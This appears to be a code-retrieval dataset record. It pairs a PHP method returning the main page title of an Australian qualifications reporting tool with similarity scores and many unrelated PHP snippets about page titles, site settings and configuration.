tbl_delivery_date.delivery_date_mgo_ref\n\t\t\tWHERE delivery_date BETWEEN '$cDate' AND '$lWeek' \n \";\n $query_result = $this->mDbm->setData($query);\n return $query_result;\n }", "public function f_get_woDtls()\n {\n\n $sql = $this->db->query(\"SELECT DISTINCT order_no, order_dt FROM td_dm_work_order \");\n return $sql->result();\n\n }", "function obtain_invested_means_week_ago($acc_number)\n\t{\n\t return $this->db->select_sum('pamm_clients_stat_sum')\n\t\t ->from('pamm_clients_statement') \n\t\t ->where(\"pamm_clients_stat_acc_number\",$acc_number)\n\t\t ->where(\"pamm_clients_stat_role IN ('I','U')\")\n\t\t ->where(\"pamm_clients_stat_sum > 0\")\n\t\t ->where(\"pamm_clients_stat_date < date_sub(curdate(),INTERVAL 7 DAY)\")\n\t\t ->get()->result();\n\t}", "function supplier_getalljson($id = null) {\n if($this->RequestHandler->isAjax()) {\n $nextDelivery = $this->Delivery->findByNextDelivery(true);\n $this->Delivery->recursive = 0; \n $deliveryDates = $this->Delivery->find('all', array(\n 'conditions' => array(\n 'Delivery.date <=' => date('Y-m-d', strtotime($nextDelivery['Delivery']['date'])), \n 'Delivery.organization_id' => intval($id)), \n 'order' => 'Delivery.date DESC'\n )\n );\n Configure::write('debug', 0);\n $this->autoRender = false; \n $this->autoLayout = false;\n echo(json_encode($deliveryDates));\n exit(1); \n }\n }", "public function getOrdersAll()\n {\n $data = DB::table('orders')\n ->select(\n 'orders.id',\n 'orders.room_id',\n 'orders.user_id',\n 'users.name',\n 'rooms.room_name',\n DB::raw('date_format(orders.check_in, \"%e %M %Y\") as check_in'),\n DB::raw('date_format(orders.check_out, \"%e %M %Y\") as check_out'),\n 'orders.message',\n 'orders.status')\n ->join('rooms', 'room_id', 'rooms.id')\n ->join('users', 'user_id', 'users.id')\n ->get();\n\n return response()->json($data);\n }" ]
[ "0.64830357", "0.6221026", "0.61862427", "0.61781496", "0.6098094", "0.604875", "0.6031069", "0.58805364", "0.5836281", "0.5802067", "0.57441586", "0.5705424", "0.5692437", "0.56575793", "0.56526214", "0.56406057", "0.5625088", "0.5608922", "0.5578444", "0.55613446", "0.5515209", "0.5513671", "0.55081546", "0.55011845", "0.54982585", "0.54776704", "0.5477406", "0.54726166", "0.54509145", "0.5429759", "0.540132", "0.5397948", "0.5396991", "0.53820485", "0.53647447", "0.535575", "0.53537714", "0.5337435", "0.53355616", "0.5333116", "0.5326565", "0.5324406", "0.5313617", "0.53106225", "0.53099227", "0.53092784", "0.53084266", "0.5306561", "0.52888405", "0.528723", "0.52851146", "0.5273408", "0.5266197", "0.5262009", "0.52610254", "0.5247807", "0.5247719", "0.524684", "0.5237535", "0.5231844", "0.52276856", "0.52221125", "0.52097696", "0.52056813", "0.5203872", "0.5201657", "0.52001595", "0.51961684", "0.51884604", "0.51866555", "0.5185625", "0.5181", "0.51803154", "0.51736265", "0.5155077", "0.51448315", "0.5144548", "0.51354957", "0.5128919", "0.5122113", "0.5119075", "0.51144624", "0.51138705", "0.5112662", "0.5107877", "0.51070154", "0.51019263", "0.5093068", "0.5092233", "0.509125", "0.50908864", "0.50906074", "0.5086306", "0.50848746", "0.5080992", "0.5076652", "0.5073789", "0.506498", "0.5062486", "0.50605917", "0.5059784" ]
0.0
-1
This model will house the application default static settings and configurations / ==================================== App MISC Text ==================================== Main page title
public static function mainPageTitle() { return 'Australia\'s Industry Priority Qualifications Reporting Tool'; }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function Main() {\n $DB = DB::getInstance();\n $this->setConf($DB->getConfig());\n $this->setTitle($this->getConf()['title']);\n }", "public function getTitle() {\n return $this->config['general']['title'];\n }", "public function init() {\n \tif (array_key_exists('applicationName', $this->_strings)) {\n \t\t$this->view->headTitle($this->_strings['applicationName']);\n \t\t$this->view->headerTitle = $this->_strings['applicationName'];\n \t}\n }", "public function title()\n {\n return config('admin.title');\n }", "public function title(){\r\n\r\n echo ISSET($this->pageSettings->page_title)?$this->pageSettings->page_title:'';\r\n\r\n }", "public function title()\n {\n if ($this->title === null) {\n $title = null;\n\n $translator = $this->translator();\n\n try {\n $config = $this->dashboardConfig();\n } catch (Exception $e) {\n $this->logger->error($e->getMessage());\n $config = [];\n }\n\n if (isset($config['title'])) {\n $title = $translator->translation($config['title']);\n } else {\n $obj = $this->obj();\n $objId = $this->objId();\n $objType = $this->objType();\n $metadata = $obj->metadata();\n\n if (!$title && isset($metadata['admin']['forms'])) {\n $adminMetadata = $metadata['admin'];\n\n $formIdent = filter_input(INPUT_GET, 'form_ident', FILTER_SANITIZE_STRING);\n if (!$formIdent) {\n $formIdent = (isset($adminMetadata['default_form']) ? $adminMetadata['default_form'] : '');\n }\n\n if (isset($adminMetadata['forms'][$formIdent]['label'])) {\n $title = $translator->translation($adminMetadata['forms'][$formIdent]['label']);\n }\n }\n\n if ($objId) {\n if (!$title && isset($metadata['labels']['edit_item'])) {\n $title = $translator->translation($metadata['labels']['edit_item']);\n }\n\n if (!$title && isset($metadata['labels']['edit_model'])) {\n $title = $translator->translation($metadata['labels']['edit_model']);\n }\n } else {\n if (!$title && isset($metadata['labels']['new_item'])) {\n $title = $translator->translation($metadata['labels']['new_item']);\n }\n\n if (!$title && isset($metadata['labels']['new_model'])) {\n $title = $translator->translation($metadata['labels']['new_model']);\n }\n }\n\n if (!$title) {\n $objType = (isset($metadata['labels']['singular_name'])\n ? $translator->translation($metadata['labels']['singular_name'])\n : null);\n\n if ($objId) {\n $title = $translator->translation('Edit: {{ objType }} #{{ id }}');\n } else {\n $title = $translator->translation('Create: {{ objType }}');\n }\n\n if ($objType) {\n $title = strtr($title, [\n '{{ objType }}' => $objType\n ]);\n }\n }\n }\n\n $this->title = $this->renderTitle($title);\n }\n\n return $this->title;\n }", "public function init()\n {\n \tparent::init();\n \t$this->view->headTitle('Wedding Cakes');\n }", "function get_title() {\n\t\treturn $this->settings['title'];\n\t}", "function admin_index(){\r\r\n\t\t$this->layout='backend/backend';\r\r\n\t\t$this->set(\"title_for_layout\",SETTING);\r\r\n\t}", "public function getDefaultTitle(): string;", "protected function initTitles() {\n\t\t$title \t = \"\";\n\t\t\n\t\tif(isset($this->config['titles']['title']))\n\t\t \t$title = $this->config['titles']['title'];\n\n\t\tif(isset($this->config['titles'][$this->request->getControllerName()]['title']))\n\t\t \t$title .= $this->config['titles']['seperator'] . $this->config['titles'][$this->request->getControllerName()]['title'];\n\t\t \t\n\t\tif(isset($this->config['titles'][$this->request->getControllerName()]['action'][$this->request->getActionName()]))\n\t\t \t$title .= $this->config['titles']['seperator'] . $this->config['titles'][$this->request->getControllerName()]['action'][$this->request->getActionName()];\n\t\t \t\n\t\t$this->layout->setTitle($title);\n\t}", "public function title()\n {\n if ($this->title === null) {\n $this->setTitle($this->translator()->translation('Static Website'));\n }\n\n return $this->title;\n }", "public function getFrontendTitle()\n {\n return Mage::getStoreConfig(\"fontis_masterpass/settings/title\");\n }", "public function mainAction(){\n \n $site = new model\\siteModel();\n $site->set_headerTitle(\"Levi DeHaan\");\n \n $site->set_menu(array(\"Home\"=>\"#/home\", \"Projects\"=>\"#/projects\"));\n $site->set_leftTitle(\"Programmer/Sys Admin\");\n $site->set_leftBody(\"Self taught, motivated, leader of silent ninja code assasins and cats.\");\n $site->set_rightTitle(\"Ninjas and Dragons\");\n $site->set_rightBody(\"The Awesome Starts Here\");\n $site->set_body(\"There are words here\");\n $site->set_footer(\"Levi DeHaan\");\n \n \n $this->headerTitle = $site->get_headerTitle();\n $this->menu = $site->get_menu();\n $this->leftTitle = $site->get_leftTitle();\n $this->leftBody = $site->get_leftBody();\n $this->rightTitle = $site->get_rightTitle();\n $this->rightBody = $site->get_rightBody();\n $this->body = $site->get_body();\n $this->footer = $site->get_footer();\n }", "public function init()\n {\n\t\t$this->view->headTitle(Zend_Registry::get('Default Page Title'));\n\t\t$this->view->headTitle()->prepend('Partners');\n }", "public function getPageTitle() {\n return $this->configuration['page_title'];\n }", "public function init() {\n $this->title = get_string('config_default_title', 'block_courses_available');\n }", "public function populateDefaults()\n {\n // Populate Defaults (from parent):\n \n parent::populateDefaults();\n \n // Populate Defaults:\n \n $this->Title = _t(__CLASS__ . '.DEFAULTTITLE', 'Share via Email');\n }", "public function initSettingsPage()\n {\n // admin sections\n $this->_addSection('schemas', __('Schemas', 'my_seo_settings'));\n $this->_addSection('special', __('Thematic Schemas', 'my_seo_settings'));\n $this->_addSection('front_page', __('General Settings', 'my_seo_settings'));\n $this->_addSection('compatibility', __('Compatibility', 'my_seo_settings'));\n\n /*\n * Adds fields to default section\n */\n $this->_addSchemaTagLocation('generate_json_ld_fpwebpage_hook_short_code', __('Schema Tag Location', 'my_seo_settings'), 'front_page');\n $this->_addInputField('generate_json_ld_fpwebpage_name', __('Website Title', 'my_seo_settings'), 'front_page');\n\t\t$this->_addInputField('generate_json_ld_fpwebpage_inlanguage', __('Website Language', 'my_seo_settings'), 'front_page');\n // Schemas\n $this->_addCheckboxField('generate_json_ld_fpwebpage', __('WebPage Schema for Home Page', 'my_seo_settings'), 'schemas');\n $this->_addCheckboxField('generate_json_ld_webpage', __('WebPage Schema for Pages', 'my_seo_settings'), 'schemas');\n $this->_addCheckboxField('generate_json_ld_posts', __('WebPage Schema for Posts', 'my_seo_settings'), 'schemas');\n $this->_addMenuDropbox('generate_json_ld_fpwebpage_menu', __('WPHeader Schema', 'my_seo_settings'), 'schemas');\n $this->_addMenuDropbox('generate_json_ld_fpwebpage_fmenu', __('WPFooter Schema', 'my_seo_settings'), 'schemas');\n\t\t$this->_addInputField('generate_json_ld_logo_url', __( 'Logo URL', 'my_seo_settings'), 'schemas');\n\n // Special\n $recipeHint = 'On individual post editing page Recipe specific fields will appear. When filled in they would show up in a Recipe schema on the page.';\n $faqHint = 'FAQ questions and answers are being added manually. go to the each page/post editor you would like to add - this schema must be enabled to take effect';\n\n $this->_addCheckboxField('generate_json_ld_recipe', __('Recipe Schema', 'my_seo_settings'), 'special', $recipeHint);\n $this->_addCheckboxField('generate_json_ld_faq', __('FAQ Schema', 'my_seo_settings'), 'special', $faqHint);\n $this->_addCustomField('generate_json_ld_person_schema', __('Person Schema', 'my_seo_settings'), [$this, '_renderPersonSchemaField'], 'special');\n $this->_addCustomField('generate_json_ld_product_schema', __('Product Schema', 'my_seo_settings'), [$this, '_renderProductSchemaField'], 'special');\n $this->_addCustomField('generate_json_ld_contact_page_schema', __('Contact Page Schema', 'my_seo_settings'), [$this, '_renderContactPageSchemaField'], 'special');\n $this->_addCustomField('generate_json_ld_about_page_schema', __('About Page Schema', 'my_seo_settings'), [$this, '_renderAboutPageSchemaField'], 'special');\n\t\t$this->_addCheckboxField('search_bar', __('Search Bar - Does the website have a search bar?', 'my_seo_settings'), 'compatibility');\n\t\t$this->_addCheckboxField('generate_json_ld_author', __( 'Author Schema', 'my_seo_settings'), [$this, '_renderAuthorPageSchemaField'], 'special' );\n $this->_addCheckboxField('yoast_disable', __('Yoast schema Off', 'my_seo_settings'), 'compatibility');\n }", "protected function commonViewData() {\n //print \"Hello\";\n $this->viewModel->set(\"mainMenu\", array(\"Home\" => \"home\", \"Help\" => \"help\"));\n $this->viewModel->set(\"Basepath\", \"http://localhost/~georginfanger/georginfanger/\");\n }", "public function index()\n\t{\t\n\t\t$settings = Settings::all();\n\t\t$langs = Language::get();\n\t\t$this->layout = View::make('blogfolio::settings.index-settings', compact('settings', 'templates', 'langs'));\n $this->layout->title = trans('blogfolio::settings.settings');\n $this->layout->breadcrumb = Config::get('syntara::breadcrumbs.settings');\n\t}", "function pageTitle(){\n\t\tglobal $pageTitle;\n\t\techo isset($pageTitle) ? $pageTitle : \"Default\";\n\t}", "public function initialize()\n {\n $appShortName = $this->config->app->appShortName;\n $this->tag->setTitle($appShortName);\n }", "protected function init()\n {\n $this->setTitle('core_layout.edit_layout');\n }", "public function getTitle(): string {\n\t\treturn Hash::get($this->_config, 'title');\n\t}", "public static function getTitle()\n {\n global $application_name;\n return $application_name;\n }", "private function getSettings()\n {\n return array(\n 'frontpage' => array(\n 'name' => 'Frontpage',\n 'key' => 'frontpage',\n 'type' => 'text',\n 'help' => 'Type the slug of the home page'\n ),\n\n );\n }", "function __handler()\n {\n $this->view('index')->title('Main page');\n }", "public function init()\n {\n\t\t$this->view->titleBrowser = 'e-Transporte';\n }", "public function getTitle()\n { \n return AppManagerModule::t($this->title);\n }", "public function getHomeTitle()\n {\n return $this->settings->get(\"seo.home_title\");\n }", "private function getTitle() {\n\t\tif ($_GET['doc'] == 'index') {\n\t\t\treturn $this->config['title'];\n\t\t}\n\t\treturn $this->texy->headingModule->title . ' - ' . $this->config['title'];\n\t}", "protected function setTitle()\n\t{\n\t\tglobal $APPLICATION;\n\n\t\tif ($this->arParams[\"SET_TITLE\"] == 'Y')\n\t\t\t$APPLICATION->SetTitle(Localization\\Loc::getMessage(\"SPOL_DEFAULT_TITLE\"));\n\t}", "public function onBeforeWrite()\n {\n /** @var SiteConfig $siteconfig */\n $siteconfig = SiteConfig::current_site_config();\n if (!$siteconfig->Title) {\n $siteconfig->Title = $this->Title;\n $siteconfig->Tagline = $this->Tagline;\n $siteconfig->write();\n }\n\n parent::onBeforeWrite();\n }", "function getTitle(){\r\n\r\n \tglobal $pageTitle;\r\n \r\n if(isset($pageTitle)){\r\n\r\n \techo $pageTitle;\r\n\r\n }else{\r\n\r\n \techo 'Default';\r\n }\r\n\r\n }", "public function index()\n\t{\n\t\n\t\t/* Breadcrumb Setup Start */\n\t\t\n\t\t$link \t\t\t\t\t= \tbreadcrumb_home();\n\t\t\n\t\t$data['breadcrumb'] \t= \t$link;\n\t\t\n\t\t/* Breadcrumb Setup End */\n \n\t $data['time_zone']\t\t=\t$this->mod_site_settings->get_timezone();\n\t\t$data['country']\t\t=\t$this->mod_site_settings->get_country();\n\t\t$data['getrecord']\t\t= $this->mod_site_settings->get_site_settings();\n\t\t\n\t\t\n\t\t$data['page_content']\t=\t$this->load->view('site_settings',$data,true);\n\t\t$this->load->view('page_layout',$data);\n\t}", "public function indexAction()\n {\n $config = $this->getServiceLocator()->get('Config');\n $title = $config['config']['title'];\n return new ViewModel(array('site_title' => $title));\n }", "static public function getTitle() {\n\t\treturn self::$page_title;\n\t}", "public function index()\n {\n $this->global['pageTitle'] = 'Manage Contacts';\n }", "public function get_title()\n\t{\n\t\treturn __('Algolia Config', 'algolia-wp-plugin');\n\t}", "public function __construct()\n\t{\n\t\t// Configure Site name:\n\t\tView::share('app_name', 'Geovents');\n\t}", "function setTitle() {\n global $pageTitle;\n\n $pageTitle = isset($pageTitle) ? $pageTitle : 'Default' ;\n echo $pageTitle;\n }", "public function get_admin_page_title() : string {\n\t\t\t/** This filter is documented in includes/settings/class-ld-settings-pages.php */\n\t\t\treturn apply_filters( 'learndash_admin_page_title', '<h1>' . $this->settings_page_title . '</h1>' );\n\t\t}", "public function beforeRender(){\n\t\t$title_for_layout = __('エネルギー効率評価システム | 一般社団法人 日本工業炉協会');\n\t\t$this->set('title_for_layout', $title_for_layout);\t\t\n\t}", "public function getPageTitle() {\r\n\t\t$config = $this->getConfig();\r\n return $config[\"title\"];\r\n }", "protected function getTitleForLayout(): string\n {\n if (!empty($this->titleForLayout)) {\n return $this->titleForLayout;\n }\n\n //Gets the main title set by the configuration\n $title = getConfigOrFail('main.title');\n\n //For homepage, it returns only the main title\n if ($this->getRequest()->is('url', ['_name' => 'homepage'])) {\n return $title;\n }\n\n //If exists, it adds the title set by the controller, as if it has been set via `$this->View->set()`\n if ($this->get('title')) {\n $title = $this->get('title') . ' - ' . $title;\n //Else, if exists, it adds the title set by the current view, as if it has been set via `$this->View->Blocks->set()`\n } elseif ($this->fetch('title')) {\n $title = $this->fetch('title') . ' - ' . $title;\n }\n\n return $this->titleForLayout = $title;\n }", "public static function title()\n {\n return 'Untitled module';\n }", "function GetAdminTitle()\n\t{\tif ($this->id)\n\t\t{\t$this->admintitle = $this->details['pagetitle'];\n\t\t}\n\t}", "public function get_title()\n {\n return __('Primary Menu', 'akash-hp');\n }", "public function get_admin_page_title() : string {\n\n\t\t\t/** This filter is documented in includes/settings/class-ld-settings-pages.php */\n\t\t\treturn apply_filters( 'learndash_admin_page_title', '<h1>' . $this->settings_page_title . '</h1>' );\n\t\t}", "public function get_document_title_template()\n {\n }", "public function title()\n {\n return $this->{static::$title};\n }", "public function getTitle() {\n return (isset($this->titlePage)) ? $this->titlePage.' - '.Params::param('metainfo-titlePage') : Params::param('metainfo-titlePage');\n }", "function setup_title() {\n\t\tglobal $bp;\n\n\t\tif ( bp_is_messages_component() ) {\n\t\t\tif ( bp_is_my_profile() ) {\n\t\t\t\t$bp->bp_options_title = __( 'My Messages', 'buddypress' );\n\t\t\t} else {\n\t\t\t\t$bp->bp_options_avatar = bp_core_fetch_avatar( array(\n\t\t\t\t\t'item_id' => bp_displayed_user_id(),\n\t\t\t\t\t'type' => 'thumb',\n\t\t\t\t\t'alt' => sprintf( __( 'Profile picture of %s', 'buddypress' ), bp_get_displayed_user_fullname() )\n\t\t\t\t) );\n\t\t\t\t$bp->bp_options_title = bp_get_displayed_user_fullname();\n\t\t\t}\n\t\t}\n\n\t\tparent::setup_title();\n\t}", "public function getDefaultTitle()\n {\n return __('Pages');\n }", "public function index()\n {\n $this->layout->title = \"Home page\";\n }", "public function getTitle()\n {\n return \"\"; // Should be updated by children classes\n }", "public function loadPageTitle()\n \t\t{\n echo \"<title>Add Item</title>\";\n }", "public static function settings_page() {\r\n\t\treturn '';\r\n\t}", "public function default() {\n \n $this->data = ModuleConfig::settings();\n // [Module_Data]\n }", "public function getTitle() {\n\t\treturn Template::getSiteTitle();\n\t}", "protected function _getSiteTitle(): string\n {\n $action = $this->_action();\n\n $title = $action->getConfig('scaffold.site_title');\n if (!empty($title)) {\n return $title;\n }\n\n return Configure::read('CrudView.siteTitle');\n }", "public function preExecute() {\n $d = ' | ';\n $t = sfConfig::get('app_site_title');\n $this->title = array('d' => $d, 't' => $t);\n $this->response = $this->getResponse();\n }", "static function get_settings(){\n\t\t\t\treturn array(\t\n\t\t\t\t\t'icon' => GDLR_CORE_URL . '/framework/images/page-builder/nav-template.png', \n\t\t\t\t\t'title' => esc_html__('Templates', 'goodlayers-core')\n\t\t\t\t);\n\t\t\t}", "private function configureTemplate(){\n\t\t$template = $this->getTemplate();\n\t\t$template->setPageSubtitle($this->getModule()->getDisplayedName());\n\t}", "public function __construct() {\n\t\t\tparent::__construct();\n\t\t\t\n\t\t\t$this->assignPageVar('strPageTitle', $strSiteTitle = AppConfig::get('SiteTitle'));\n\t\t\t$this->assignPageVar('strSiteTitle', $strSiteTitle);\n\t\t\t$this->assignPageVar('strTheme', $strTheme = AppConfig::get('Theme'));\n\t\t\t\n\t\t\t$this->strThemeDir = ($strTheme ? \"themes/{$strTheme}/\" : '');\n\t\t\t$this->strThemeCssDir = '/css/' . ($this->strThemeDir ? $this->strThemeDir : null);\n\t\t\t$this->strThemeJsDir = '/js/' . ($this->strThemeDir ? $this->strThemeDir : null);\n\t\t}", "public function __construct(){\n\t\t$this->registry = Registry::getRegistry();\n\t\t$this->config = $this->registry->get(\"config\");\n\n\t\t$this->head_data['meta']['author'] = 'Lukas Hajek & Karel Juricka';\n\t\t$this->head_data['meta']['description'] = \"Popis webu\";\n\t\t$this->head_data['title'] = 'SmartCMS';\n\n\t}", "protected function _setTemplateMeta(){\n $this->template->project_name = $this->config['project']['name'] ;\n $this->template->title = $this->config['view']['title'] ;\n $this->template->keywords = $this->config['view']['keywords'];\n $this->template->description = $this->config['view']['description'];\n }", "public static function modelTitle()\n {\n return \\Yii::t('admin/t', 'Auth Item');\n }", "private function appendMasterTitle(){\r\n\t\t$title = $this->head->GetTitle() != null ? $this->head->GetTitle() . \" | \" : \"\";\r\t\t$titleExtension = \"\";\r\t\tif(empty($this->langService) || $this->langService->IsDefaultSelected()){\r\t\t\t$titleExtension = $this->CI->config->item(\"zt_site_title\") . \" - \" . $this->CI->config->item(\"zt_site_slogan\");\t\r\t\t} else {\r\t\t\t$titleExtension = $this->CI->config->item(\"zt_site_title\") . \" - \" . $this->CI->config->item(\"zt_site_slogan_\" . $this->langService->GetLangCode());\r\t\t}\r\r\t\t$title .= $titleExtension;\r\n\t\treturn $this->head->SetTitle($title);\r\n\t}", "function adminDefault() {\n\t\t\n\t\t// load intro and options\n\t\t$this->content = new BlogPostIntro();\n\t\t$this->content->loadContent($GLOBALS['objPage']->id);\n\t\t\n\t\t// load confirmation\n\t\t$this->confirm = new CmsContent();\n\t\t$this->confirm->loadContent($GLOBALS['objPage']->id, 'confirm');\n\t\t\n\t\t// load no access message\n\t\t$this->noaccess = new CmsContent();\n\t\t$this->noaccess->loadContent($GLOBALS['objPage']->id, 'noaccess');\n\t\t\n\t\tif ($GLOBALS['confModule']['blog_post']['editor_full']) {\n\t\t\t$this->content->initAdmin('full',2);\n\t\t\t$this->confirm->initAdmin('full',2);\n\t\t\t$this->noaccess->initAdmin('full',2);\n\t\t} else {\n\t\t\t$this->content->initAdmin('Default',1);\n\t\t\t$this->confirm->initAdmin('Default',1);\n\t\t\t$this->noaccess->initAdmin('Default',1);\n\t\t}\n\t\t\n\t\t$this->data = new ContentBlogPost();\n\t\t$this->data->loadPostsList(true);\n\t\t\n\t\t// only if on page\n\t\t$GLOBALS['objCms']->initSubmitting(1,2); // save and save and close\n\n\t\t$this->baseLink = CMS_WWW_URI.'admin/special.php?module=blog';\n\t\t$this->setView('admin');\n\t\t\n\t}", "public function run()\n {\n StaticPage::create([\n \"label\" => StaticPageLabels::TERMS,\n 'en' => ['title' => 'Terms & Conditions', \"content\" => \"Content of the page is right here.\"],\n 'ar' => ['title' => 'الشروط والأحكام', \"content\" => \"محتوى صفحة الشروط هنا بالظبط.\"],\n ]);\n\n StaticPage::create([\n \"label\" => StaticPageLabels::PRIVACY,\n 'en' => ['title' => 'Privacy Policy', \"content\" => \"Content of the page is right here.\"],\n 'ar' => ['title' => 'سياسة الخصوصية', \"content\" => \"محتوى صفحة الخصوصية هنا بالظبط.\"],\n ]);\n\n }", "public function index() {\n $data['title'] = $this->lang->line('Manage') . \" \" . $this->lang->line('Site_Setting');\n $company_data = $this->model_sitesetting->get();\n $data['company_data'] = $company_data[0];\n $this->load->view('index', $data);\n }", "function load_defaults(){\n\t\t\n\t\t$this->choices = array(\n\t\t\t'yes' => __('Enable', 'wa_wcc_txt'),\n\t\t\t'no' => __('Disable', 'wa_wcc_txt')\n\t\t);\n\n\t\t$this->loading_places = array(\n\t\t\t'header' => __('Header', 'wa_wcc_txt'),\n\t\t\t'footer' => __('Footer', 'wa_wcc_txt')\n\t\t);\n\n\t\t$this->tabs = array(\n\t\t\t'general-settings' => array(\n\t\t\t\t'name' => __('General', 'wa_wcc_txt'),\n\t\t\t\t'key' => 'wa_wcc_settings',\n\t\t\t\t'submit' => 'save_wa_wcc_settings',\n\t\t\t\t'reset' => 'reset_wa_wcc_settings',\n\t\t\t),\n 'configuration' => array(\n 'name' => __('Advanced', 'wa_wcc_txt'),\n 'key' => 'wa_wcc_configuration',\n 'submit' => 'save_wa_wcc_configuration',\n 'reset' => 'reset_wa_wcc_configuration'\n )\n\t\t);\n\t}", "public function settings(){\n if (!$this->students->isLogin()) {\n\n header('Location:/login');\n die();\n }\n\n /**\n * Main Body Section ///////////////////////////////////////////////////////////////////////////////////////////\n */\n\n \n DataManager::getInstance()->addData('Students', $this->students);\n\n /**\n * Render///////////////////////////////////////////////////////////////////////////////////////////////////////\n */\n\n $this->render();\n }", "protected function page_title() {\n?>\n\t\t<h2>\n\t\t\t<?php echo __( 'Marketplace Add-ons', APP_TD ); ?>\n\t\t\t<a href=\"https://marketplace.appthemes.com/\" class=\"add-new-h2\"><?php _e( 'Browse Marketplace', APP_TD ); ?></a>\n\t\t\t<a href=\"https://www.appthemes.com/themes/\" class=\"add-new-h2\"><?php _e( 'Browse Themes', APP_TD ); ?></a>\n\t\t</h2>\n<?php\n\t}", "protected function view_getPageTitle() {\n return 'HalloPizza';\n }", "public function __construct() {\n\t\tparent::__construct();\n\t\t$data=$this->Home_model->getRow('*','setting');\n\t\t$this->config->set_item('home',$data);\n\t\t\n\t}", "public function default_settings_section_info() {\n global $WCPc;\n _e('Enter your default settings below', $WCPc->text_domain);\n }", "public function __construct()\n\t{\n\t\tparent::__construct();\n\t\t\n\t\t// === Check is logged manager === //\n\t\t$this->_CheckLogged();\t\n\t\t\n\t\t// === Init Language Section === //\n\t\t$this->lang_model->init(array('label','admin'));\n\t\t\n\t\t// === Page Titles === //\n\t\t$this->page_titles['index'] = language('vars_for_templates');\n\t\t//default page title\n\t\t$this->_setDefaultPageTitle();\n\t}", "private static function initialize_defaults() {\r\n\t\t\tself::$default_settings['credentials'] = array();\r\n\r\n\t\t\tself::$default_settings['has_first_question'] = 'no';\r\n\r\n\t\t\t// We want the Urtaks to appear by default, so let's append them\r\n\t\t\tself::$default_settings['placement'] = 'append';\r\n\r\n\t\t\t// We want to default post types to 'post' and 'page'\r\n\t\t\tself::$default_settings['post-types'] = array('page', 'post');\r\n\r\n\t\t\t// We want users to be able to start Urtaks by default\r\n\t\t\tself::$default_settings['user-start'] = 'yes';\r\n\r\n\t\t\t// We want Urtaks to support community moderation by default so that we get more questions and responses\r\n\t\t\tself::$default_settings['moderation'] = 'community';\r\n\r\n\t\t\t// Auto height and width\r\n\t\t\tself::$default_settings['height'] = '';\r\n\t\t\tself::$default_settings['width'] = '';\r\n\r\n\t\t\t// Counter settings\r\n\t\t\tself::$default_settings['counter-icon'] = 'yes';\r\n\t\t\tself::$default_settings['counter-responses'] = 'yes';\r\n\r\n\t\t\t// Profanity\r\n\t\t\tself::$default_settings['blacklisting'] = 'no';\r\n\t\t\tself::$default_settings['blacklist_override'] = 'no';\r\n\t\t\tself::$default_settings['blacklist_words'] = '';\r\n\t\t}", "public function getHomeDescription()\n {\n return $this->settings->get(\"seo.home_description\");\n }", "public function getApplicationTitle()\n {\n return $this->application_title;\n }", "protected function setKeyAndTitle() {\n\t\t$this->key = 'config_tab_dataset';\n\t\t$this->title = __('Dataset');\n\t}", "public function GeneralSettingsView(){\n\t\t//Meta is usually not setup yet, so we manually do this before loading css file\n\t\t$this->meta = new Meta();\n\t\t\n\t\t//This class requires an extra css file\n\t\t$this->getMeta()->addExtra('<link href=\"core/fragments/css/admin.css\" rel=\"stylesheet\" type=\"text/css\" />');\n\t}", "function admin_configuration()\n{\n global $app;\n\n $app->render('admin_configuration.html', [\n 'page' => mkPage(getMessageString('admin'), 0, 2),\n 'mailers' => mkMailers(),\n 'ttss' => mkTitleTimeSortOptions(),\n 'isadmin' => is_admin()]);\n}", "protected function setPageTitle() {\r\n\t\t$pageTitleText = (empty($this->settings['news']['semantic']['general']['pageTitle']['useAlternate'])) ? $this->newsItem->getTitle() : $this->newsItem->getAlternativeTitle();\r\n\t\t$pageTitleAction = $this->settings['news']['semantic']['general']['pageTitle']['action'];\r\n\r\n\t\tif (!empty($pageTitleAction)) {\r\n\t\t\tswitch ($pageTitleAction) {\r\n\t\t\t\tcase 'prepend':\r\n\t\t\t\t\t$pageTitleText .= ': ' . $GLOBALS['TSFE']->page['title'];\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tcase 'append':\r\n\t\t\t\t\t$pageTitleText = $GLOBALS['TSFE']->page['title'] . ': ' . $pageTitleText;\r\n\t\t\t\t\tbreak;\r\n\t\t\t\tdefault:\r\n\t\t\t}\r\n\t\t\t$this->pageTitle = html_entity_decode($pageTitleText, ENT_QUOTES, \"UTF-8\");\r\n\t\t\t$GLOBALS['TSFE']->page['title'] = $this->pageTitle;\r\n\t\t\t$GLOBALS['TSFE']->indexedDocTitle = $this->pageTitle;\r\n\t\t}\r\n\t}", "public function getTitle(): string\n {\n return I18N_PAGES;\n }", "public function init()\n {\n $this->view->pageTitle = 'Sender:';\n $this->view->fullUrl = $this->view->serverUrl() . $this->view->baseUrl();\n }", "function index()\n {\n\n //profiling\n $this->data['controller_profiling'][] = __function__;\n\n //login check\n $this->__commonAdmin_LoggedInCheck();\n\n //uri - action segment\n $action = $this->uri->segment(4);\n\n //default page title\n $this->data['vars']['main_title'] = $this->data['lang']['lang_settings_company'];\n\n //re-route to correct method\n switch ($action) {\n case 'edit':\n $this->__editSettings();\n break;\n\n case 'view':\n $this->__viewSettings();\n break;\n\n default:\n $this->__viewSettings();\n }\n\n //css - active tab\n $this->data['vars']['css_active_tab_company'] = 'tab-active';\n\n //load view\n $this->__flmView('admin/main');\n\n }", "public function __construct()\n {\n $this->site_name = isset(getAppConfig()->site_name)?ucfirst(getAppConfig()->site_name):'';\n $this->middleware('auth');\n SEOMeta::setTitle($this->site_name);\n SEOMeta::setDescription($this->site_name);\n SEOMeta::addKeyword($this->site_name);\n OpenGraph::setTitle($this->site_name);\n OpenGraph::setDescription($this->site_name);\n OpenGraph::setUrl($this->site_name);\n Twitter::setTitle($this->site_name);\n Twitter::setSite('@'.$this->site_name);\n App::setLocale('en');\n }", "protected function get_default_title() {\n\n\t\treturn __( 'TeleCheck', 'woocommerce-gateway-firstdata' );\n\t}", "function default_view_context() {\n return array(\n 'metaTitle' => 'Suicide MVC', // Set in \"<head><meta>\"\n 'metaAuthor' => '', // Displayed in \"#container > #footer\" && set in \"<head><meta>\"\n 'heading' => 'Suicide MVC', // Displayed in \"#container > #header > h1\"\n\n 'styleSheets' => 'CakePHP/cake.generic.css', // ';' delimited list of paths from the $viewStyleDirectory\n 'jscripts' => '', // ';' delimited list of paths from the $viewJavascriptDirectory\n // 'sections' => 'data_list.php' // (useful to implement?)\n\n 'data' => NULL // used by model, never need to modify\n );\n}", "function set_title() {\n \tglobal $pageTitle;\n 